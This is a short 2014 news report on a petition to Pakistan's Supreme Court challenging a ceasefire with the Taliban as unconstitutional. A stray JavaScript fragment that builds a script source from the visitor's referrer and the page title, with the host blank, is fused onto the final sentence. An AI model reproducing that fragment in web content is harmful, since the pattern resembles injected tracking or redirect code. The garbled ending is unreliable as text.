Published On: Sun, Mar 23rd, 2014
Published in Category: Islamabad

Ceasefire with Taliban challenged in SC

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ISLAMABAD: Bilateral ceasefire with Taliban has been challenged in Supreme Court (SC) In his petition, the petitioner Shahid Orakzai has pleaded that constitution does not allow any temporary ceasefire with the enemy on the soil of Pakistan. However the petitioner has no objection over brokering of ceasefire outside the territorial borders of Pakistan.

He further said internal differences among Taliban has led to attack on district courts Islamabad and Islamabad High Court is probing into this incident. The inquiry was suspended after Supreme Court had taken a suo moto notice of this incident. Later the Supreme Court ordered to continue this inquiry.

Shahid Orakzai stressed that there is no ideological conflict among Taliban except the matter of talks with government of Pakistan nor any other cause for attack on Islamabad Kutchery has come to light.

It has been inquired in the appeal if the constitution allows armed forces 30 days interval in the war if the enemy of Pakistan continues to target citizens during this time.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;